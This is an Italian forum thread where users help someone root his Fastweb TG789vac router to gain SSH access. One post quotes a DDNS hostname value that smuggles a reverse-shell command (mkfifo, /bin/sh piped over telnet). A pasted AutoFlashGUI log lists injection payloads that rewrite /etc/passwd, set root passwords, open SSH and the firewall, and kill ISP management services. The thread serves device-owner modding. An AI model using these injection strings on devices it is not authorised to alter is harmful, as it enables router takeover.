[GUIDA] Root e Modding TG789vac Xtream 35b (VBNT-F)

  • 618 Risposte
  • 306284 Visite

0 Utenti e 1 Visitatore stanno visualizzando questo topic.

Offline Mariorosa

  • Nuovo Iscritto
  • *
  • 17
Re:[GUIDA] Root e Modding FASTGate TG789vac XTREAM 35b (VBNT-F)
« Risposta #480 il: 27 Marzo 2020, 12:23 »
Buongiorno
mi sono letto tutto il thread. sono riuscito a mettere il firmware di ansuel  FASTWEB/TG789vacXtream/16.2.8706_FW_214_MOS_TG789vacXtream.rbi, ma la mia ignoranza non mi consente di accedere al router via ssh. Se ho capito un poco, voi usate linux per entrare e avete inserito le righe di comando per settare i parametri per poter utilizzare questo router anche con altri gestori. Potete gentilmente x un impedito come me fare una guida per connettersi  via ssh al router? Avete fatto un lavoro enorme, ma per me incomprensibile.
Grazie mille per la vostra pazienza e l'aiuto

Offline FrancYescO

  • VIP
  • *****
  • 3382
Re:[GUIDA] Root e Modding FASTGate TG789vac XTREAM 35b (VBNT-F)
« Risposta #481 il: 27 Marzo 2020, 13:22 »
giusto per chiarezza quello che hai messo è il firmware UFFICIALE fastweb, e ora devi sbloccarlo (se hai letto tutto il thread immagino hai capito come fare) per poter accedere in ssh https://web.archive.org/web/20200302125939/https://kinsta.com/it/blog/connettersi-al-server-via-ssh/

dopo aver avuto accesso SSH puoi installare la GUI di Ansuel: https://www.ilpuntotecnico.com/forum/index.php/topic,81461.0.html

Offline Mariorosa

  • Nuovo Iscritto
  • *
  • 17
Re:[GUIDA] Root e Modding FASTGate TG789vac XTREAM 35b (VBNT-F)
« Risposta #482 il: 28 Marzo 2020, 10:32 »
Grazie mille, tutto chiaro

Offline Mariorosa

  • Nuovo Iscritto
  • *
  • 17
Re:[GUIDA] Root e Modding FASTGate TG789vac XTREAM 35b (VBNT-F)
« Risposta #483 il: 01 Aprile 2020, 15:47 »
giusto per chiarezza quello che hai messo è il firmware UFFICIALE fastweb, e ora devi sbloccarlo (se hai letto tutto il thread immagino hai capito come fare) per poter accedere in ssh https://web.archive.org/web/20200302125939/https://kinsta.com/it/blog/connettersi-al-server-via-ssh/

dopo aver avuto accesso SSH puoi installare la GUI di Ansuel: https://www.ilpuntotecnico.com/forum/index.php/topic,81461.0.html
Ciao, ho scritto tutto chiaro,ma non riesco ad entrare in ssh. Credo di aver sbloccato il router col ddns e la stringa
www.ooo.com; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet IP-PC 1337 >/tmp/f &,
 il router mi risponde con la richiesta di user e pass che ho inserito lo stato passa a aggiornamento
 poi quando provo ad entrare con putty o winscp con  ip del router, porta 22 user e pass mi risponde sempre  impossibile  connettere.
Potete aiutarmi?
Grazie mille

Offline LuKePicci

  • Global Moderator
  • VIP
  • *****
  • 2789
Re:[GUIDA] Root e Modding FASTGate TG789vac XTREAM 35b (VBNT-F)
« Risposta #484 il: 01 Aprile 2020, 18:29 »
Penso tu  abbia lasciato a metà la fase di root. Hai usato AutoFlashGUI come detto qui? https://www.ilpuntotecnico.com/forum/index.php/topic,78382.msg260806.html#msg260806

Offline Mariorosa

  • Nuovo Iscritto
  • *
  • 17
Re:[GUIDA] Root e Modding FASTGate TG789vac XTREAM 35b (VBNT-F)
« Risposta #485 il: 03 Aprile 2020, 18:01 »
Ho provato con  Autoflashgui sia dev che win, ma non c'è il modello del mio router , con conseguente mia confusione, Sbaglio versione di Autoflashgui? Grazie

Offline LuKePicci

  • Global Moderator
  • VIP
  • *****
  • 2789
Re:[GUIDA] Root e Modding FASTGate TG789vac XTREAM 35b (VBNT-F)
« Risposta #486 il: 03 Aprile 2020, 18:19 »
Devi usare i profili generici, in particolare quello suggerito da @larsen64it poco più indietro in questa discussione, esattamente qui: https://www.ilpuntotecnico.com/forum/index.php/topic,78382.msg260806.html#msg260806

Pensavo l'avessi trovato quando hai letto tutto il thread.

Offline Mariorosa

  • Nuovo Iscritto
  • *
  • 17
Re:[GUIDA] Root e Modding FASTGate TG789vac XTREAM 35b (VBNT-F)
« Risposta #487 il: 03 Aprile 2020, 19:23 »
ho scaricato autoflashgui 9.5 sia dev che win, ma non c'è il mio modello tg789vac extream 35b, quindi per paura di sbagliare non vado avanti.
Nel link https://www.ilpuntotecnico.com/forum/index.php/topic,78382.msg260806.html#msg260806 si vede una autoflashgui diversa da quelle che ho potuto scaricare.
 

Offline LuKePicci

  • Global Moderator
  • VIP
  • *****
  • 2789
Re:[GUIDA] Root e Modding FASTGate TG789vac XTREAM 35b (VBNT-F)
« Risposta #488 il: 03 Aprile 2020, 19:29 »
Allora lo stai scaricando dal posto sbagliato. Devi scaricarlo dalla repo ufficiale (vai sul pulsante verde "Clone or download" e clicca "Download zip":
https://github.com/mswhirl/autoflashgui

Se mi dici dove hai trovato il link alla vecchia versione faccio in modo di farlo sparire.

Offline Mariorosa

  • Nuovo Iscritto
  • *
  • 17
Re:[GUIDA] Root e Modding FASTGate TG789vac XTREAM 35b (VBNT-F)
« Risposta #489 il: 03 Aprile 2020, 20:23 »
li  ho trovati qui
https://www.ilpuntotecnico.com/forum/index.php/topic,81461.0.html
con il autoflashgui master funziona, ma quando mi chiede il firmware cosa devo mettere?
La gui di ansuel?
« Ultima modifica: 03 Aprile 2020, 20:28 da Mariorosa »

Offline FrancYescO

  • VIP
  • *****
  • 3382
Re:[GUIDA] Root e Modding FASTGate TG789vac XTREAM 35b (VBNT-F)
« Risposta #490 il: 03 Aprile 2020, 20:26 »
non c'è alcun link ad autoflashGUI lì

Offline Mariorosa

  • Nuovo Iscritto
  • *
  • 17
Re:[GUIDA] Root e Modding FASTGate TG789vac XTREAM 35b (VBNT-F)
« Risposta #491 il: 03 Aprile 2020, 20:32 »
scusa, ho sbagliato, il link https://www.hwupgrade.it/forum/showthread.php?t=2873858,
Ma ora mi rendo conto che scemenza ho fatto

Offline LuKePicci

  • Global Moderator
  • VIP
  • *****
  • 2789
Re:[GUIDA] Root e Modding FASTGate TG789vac XTREAM 35b (VBNT-F)
« Risposta #492 il: 03 Aprile 2020, 21:56 »
Non devi mettere nessun firmware, e infatti non devi selezionare l'opzione e "flash firmware"

Offline Mariorosa

  • Nuovo Iscritto
  • *
  • 17
Re:[GUIDA] Root e Modding FASTGate TG789vac XTREAM 35b (VBNT-F)
« Risposta #493 il: 04 Aprile 2020, 18:44 »
mettendo l'ip del router e admin  come user e la password che ho inserito quando ho messo la stringa nel router per sbloccare ddns. mi da questo errore
Codice: [Seleziona]
['C:\\fastgate\\autoflashgui-master\\autoflashgui-master\\autoflashgui.exe'] ['C:\\Users\\avite\\AppData\\Local\\Temp\\_MEI58122\\base_library.zip', 'C:\\Users\\avite\\AppData\\Local\\Temp\\_MEI58122'] C:\fastgate\autoflashgui-master\autoflashgui-master
['C:\\fastgate\\autoflashgui-master\\autoflashgui-master\\autoflashgui.exe'] ['C:\\Users\\avite\\AppData\\Local\\Temp\\_MEI58122\\base_library.zip', 'C:\\Users\\avite\\AppData\\Local\\Temp\\_MEI58122'] C:\fastgate\autoflashgui-master\autoflashgui-master
UI language = en
UI language = en
Reading config...
Line: # NOTE: the default ssh password will be 'root'.  It's not a parameter as it would be hard to encode all special characters people might use, so just log in and change it!
Line: # If you don't include all the mandatory defaultXXXXXX keys as shown the program will fail!
Line: defaultHost=10.0.0.138
Line: defaultUsername=admin
Line: defaultPassword=
Line: defaultUpgradeFilename=
Line: defaultStartupVariant=Generic (Basic DDNS)
Line: defaultFlashFirmware=0
Line: defaultFlashSleepDelay=120
Line: defaultConnectRetryDelay=5
Line: defaultInterCommandDelay=5
Line: defaultExpertMode=0
Line: defaultSplitCommand=1
Line: # The following line is not mandatory, but can be used as an alternative to the "-l it" command line language parameter
Line: #defaultLanguage=it
Line: # variant=DGA4130 TIM AGTEF_1.0.3 (passive root),Ping,dyndns.com,sed -i '1croot:x:0:0:root:/root:/bin/ash' /etc/passwd;uci set dropbear.@dropbear[0].RootPasswordAuth='on';uci set dropbear.@dropbear[0].enable='1';uci commit;echo -e "root\nroot"|passwd;/etc/init.d/dropbear restart;sed -i 's/off/on/' /overlay/$(cat /proc/banktable/inactive)/etc/config/dropbear;sed -i 's/0/1/' /overlay/$(cat /proc/banktable/inactive)/etc/config/dropbear;sed -i 's#root:/bin/restricted_shell#root:/bin/ash#' /overlay/$(cat /proc/banktable/inactive)/etc/passwd;sed -i "/option Interface 'lan'/s/.*/&\n\toption RootPasswordAuth 'on'/" /overlay/$(cat /proc/banktable/inactive)/etc/config/dropbear;sed -i "1c $(sed 1q /etc/shadow)" /overlay/$(cat /proc/banktable/inactive)/etc/shadow;switchover
Line: variant=DGA4130 TIM AGTEF_1.0.3,Ping,dyndns.com,sed -i '1croot:x:0:0:root:/root:/bin/ash' /etc/passwd;uci set dropbear.@dropbear[0].RootPasswordAuth='on';uci set dropbear.@dropbear[0].enable='1';uci commit;echo -e "root\nroot"|passwd;/etc/init.d/dropbear restart
Line: # variant=DGA4132 TIM AGTHP_1.0.3 (passive root) (Basic DDNS),BasicDDNS,dyndns.it,sed -i 's#root:/bin/false#root:/bin/ash#' /etc/passwd;uci set dropbear.lan.enable=1;uci set dropbear.lan.RootPasswordAuth=on;uci commit;echo -e "root\nroot"|passwd;/etc/init.d/dropbear restart;sed -i 's/off/on/' /overlay/$(cat /proc/banktable/inactive)/etc/config/dropbear;sed -i 's/0/1/' /overlay/$(cat /proc/banktable/inactive)/etc/config/dropbear;sed -i 's#root:/bin/restricted_shell#root:/bin/ash#' /overlay/$(cat /proc/banktable/inactive)/etc/passwd;sed -i "/option Interface 'lan'/s/.*/&\n\toption RootPasswordAuth 'on'/" /overlay/$(cat /proc/banktable/inactive)/etc/config/dropbear;sed -i "1c $(sed 1q /etc/shadow)" /overlay/$(cat /proc/banktable/inactive)/etc/shadow;switchover
Line: variant=DGA4132 TIM AGTHP_1.0.3 (Advanced DDNS),AdvancedDDNS,dyndns.it,sed -i 's#root:/bin/false#root:/bin/ash#' /etc/passwd;uci set dropbear.lan.enable=1;uci set dropbear.lan.RootPasswordAuth=on;uci commit;echo -e "root\nroot"|passwd;/etc/init.d/dropbear restart
Line: variant=DGA4132 TIM AGTHP_1.0.3 (Basic DDNS),BasicDDNS,dyndns.it,sed -i 's#root:/bin/false#root:/bin/ash#' /etc/passwd;uci set dropbear.lan.enable=1;uci set dropbear.lan.RootPasswordAuth=on;uci commit;echo -e "root\nroot"|passwd;/etc/init.d/dropbear restart
Line: variant=DJA0231 Telstra 18.1.c.0215-950-RA (Basic DDNS),BasicDDNS,dyn.com,sed -i 's#root:/bin/restricted_shell#root:/bin/ash#' /etc/passwd;echo "root:root"|chpasswd;dropbear -p 6666 &
Line: variant=TG789vac v2 iiNet 16.3,Ping,dyndns.com,uci set dropbear.@dropbear[0].PasswordAuth='on';uci set dropbear.@dropbear[0].RootPasswordAuth='on';uci set dropbear.@dropbear[0].enable='1';uci commit;echo -e "root\nroot"|passwd;/etc/init.d/dropbear restart
Line: variant=TG789vac v2 HP MyRepublic 16.3,Ping,dyndns.com,sed -i -e "1croot:x:0:0:root:/root:/bin/ash" -e 's#root:/bin/false#root:/bin/ash#' /etc/passwd;echo "root:root"|chpasswd;sed -i -e "s/'0'/'1'/" -e "s/'off'/'on'/" /etc/config/dropbear;/etc/init.d/cwmpd stop;/etc/init.d/cwmpd disable;/etc/init.d/cwmpdboot disable;killall -9 cwmpd cwmpdboot watchdog-tch dropbear;/etc/init.d/dropbear start
Line: variant=TG789vac v2 Tiscali 16.3,Ping,dyndns.com,sed -i 's#root:/bin/false#root:/bin/ash#' /etc/passwd;uci set dropbear.@dropbear[0].PasswordAuth='on';uci set dropbear.@dropbear[0].Interface='lan';uci set dropbear.@dropbear[0].RootPasswordAuth='on';uci set dropbear.@dropbear[0].enable='1';uci commit;echo -e "root\nroot"|passwd;/etc/init.d/dropbear restart
Line: variant=TG797 Telstra <= 16.3,Ping,dyndns.com,echo "root:root"|chpasswd;sed -i -e "s/'0'/'1'/" -e "s/'off'/'on'/" /etc/config/dropbear;/etc/init.d/cwmpd disable;/etc/init.d/cwmpdboot disable;/etc/init.d/wifi-doctor-agent disable;/etc/init.d/hotspotd disable;killall -9 hotspotd cwmpd cwmpdboot watchdog-tch wifi-doctor-agent dropbear;/etc/init.d/dropbear start
Line: variant=TG799 Telstra <= 16.3,Ping,dyndns.com,echo "root:root"|chpasswd;sed -i -e "s/'0'/'1'/" -e "s/'off'/'on'/" /etc/config/dropbear;/etc/init.d/cwmpd disable;/etc/init.d/cwmpdboot disable;/etc/init.d/wifi-doctor-agent disable;/etc/init.d/hotspotd disable;killall -9 hotspotd cwmpd cwmpdboot watchdog-tch wifi-doctor-agent dropbear;/etc/init.d/dropbear start
Line: variant=TG799 Telstra 17.2.0261 (Basic DDNS),BasicDDNS,dyn.com,sed -i 's#root:/bin/restricted_shell#root:/bin/ash#' /etc/passwd;echo "root:root"|chpasswd;dropbear -p 6666 &
Line: variant=Generic (Basic DDNS),BasicDDNS,dyn.com,sed -i 's#/root:.*$#/root:/bin/ash#' /etc/passwd;echo root:root | chpasswd;sed -i.save 's/#//' /etc/inittab;uci add dropbear dropbear;uci rename dropbear.@dropbear[-1]=afg;uci set dropbear.afg.enable='1';uci set dropbear.afg.Interface='lan';uci set dropbear.afg.Port='22';uci set dropbear.afg.IdleTimeout='600';uci set dropbear.afg.PasswordAuth='on';uci set dropbear.afg.RootPasswordAuth='on';uci set dropbear.afg.RootLogin='1';uci commit dropbear;/etc/init.d/dropbear enable;/etc/init.d/dropbear restart;uci set $(uci show|grep -m 1 `fw3 -q print|egrep 'es -t filter -A zone_lan_input -p tcp -m tcp --dport 22 -m comment --comment "!fw3: .+" -j DROP'|sed -n's/^iptables.\+fw3: \(.\+\)".\+/\1/p'`|sed -n"s/\(.\+\).name='.\+'$/\1/p").target=ACCEPT;uci commit;/etc/init.d/firewall reload
Line: variant=Generic (Advanced DDNS),AdvancedDDNS,dyndns.it,sed -i 's#/root:.*$#/root:/bin/ash#' /etc/passwd;echo root:root | chpasswd;sed -i.save 's/#//' /etc/inittab;uci add dropbear dropbear;uci rename dropbear.@dropbear[-1]=afg;uci set dropbear.afg.enable='1';uci set dropbear.afg.Interface='lan';uci set dropbear.afg.Port='22';uci set dropbear.afg.IdleTimeout='600';uci set dropbear.afg.PasswordAuth='on';uci set dropbear.afg.RootPasswordAuth='on';uci set dropbear.afg.RootLogin='1';uci commit dropbear;/etc/init.d/dropbear enable;/etc/init.d/dropbear restart;uci set $(uci show|grep -m 1 `fw3 -q print|egrep 'es -t filter -A zone_lan_input -p tcp -m tcp --dport 22 -m comment --comment "!fw3: .+" -j DROP'|sed -n's/^iptables.\+fw3: \(.\+\)".\+/\1/p'`|sed -n"s/\(.\+\).name='.\+'$/\1/p").target=ACCEPT;uci commit;/etc/init.d/firewall reload
Line: variant=Generic (Ping),Ping,dyndns.com,sed -i 's#/root:.*$#/root:/bin/ash#' /etc/passwd;echo root:root | chpasswd;sed -i.save 's/#//' /etc/inittab;uci add dropbear dropbear;uci rename dropbear.@dropbear[-1]=afg;uci set dropbear.afg.enable='1';uci set dropbear.afg.Interface='lan';uci set dropbear.afg.Port='22';uci set dropbear.afg.IdleTimeout='600';uci set dropbear.afg.PasswordAuth='on';uci set dropbear.afg.RootPasswordAuth='on';uci set dropbear.afg.RootLogin='1';uci commit dropbear;/etc/init.d/dropbear enable;/etc/init.d/dropbear restart;uci set $(uci show|grep -m 1 `fw3 -q print|egrep 'es -t filter -A zone_lan_input -p tcp -m tcp --dport 22 -m comment --comment "!fw3: .+" -j DROP'|sed -n's/^iptables.\+fw3: \(.\+\)".\+/\1/p'`|sed -n"s/\(.\+\).name='.\+'$/\1/p").target=ACCEPT;uci commit;/etc/init.d/firewall reload
Connect attempt 1
<Response [200]>
Modem up
Authenticating
Authentication failed, debug values are: ['Got CSRF token: ce27a21b235483953364924716c9612bf7862f9070d855057490d7cb5243e6ef', "A value b'1dcf9605720b146239fd93987259ccd9ca0d6014160d8d01beeffcca5e471ea5bc2283147a1a7dcd1ed1ee6e1388d19159e5f6a67e5080841eb71eeacbd41dd25f9e934237a459633daacfbcfea8d3844da9a8f25484e750c03494a323412811b43fbb96c5fc33ed121049deb155ab37dd2b04a595ad6b2459fb310e7295cb54fb4f0e3768f78e57214bda8ad1cb6db07ab7e9f8c178e2e6a1517204a255c9f37705d9578b823edf1c42c4cfb307597c29b7de4837f9350dffe49d9cdebfe45061c48aed75340a430b7a0de6283df3e1c3c28ce7193657a02b1ca1de0fb226899274224b4ed98e6b24dc9530783d5ca10cc461bee4fd76bef39a89c627f2d31c'", 'br.response <Response [200]>', "Challenge received: {'error': 'failed'}"]
Exception in Tkinter callback
Traceback (most recent call last):
  File "libautoflashgui.py", line 37, in srp6authenticate
    M = usr.process_challenge(binascii.unhexlify(j['s']), binascii.unhexlify(j['B']))
KeyError: 's'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "tkinter\__init__.py", line 1705, in __call__
  File "autoflashgui.py", line 211, in run
    self.status.config(text=_('Firmware flashing enabled but firmware file name does not exist!'))
  File "libautoflashgui.py", line 132, in mainScript
    srp6authenticate(br, host, username, password)
  File "libautoflashgui.py", line 55, in srp6authenticate
    print(_("Exception: ") + str(sys.exc_info()[0]))
NameError: name 'sys' is not defined
« Ultima modifica: 04 Aprile 2020, 19:07 da MisterFTTH »

Offline FrancYescO

  • VIP
  • *****
  • 3382
Re:[GUIDA] Root e Modding FASTGate TG789vac XTREAM 35b (VBNT-F)
« Risposta #494 il: 04 Aprile 2020, 19:09 »
'Firmware flashing enabled but firmware file name does not exist!'
sicuro che di non aver messo la flag di flash?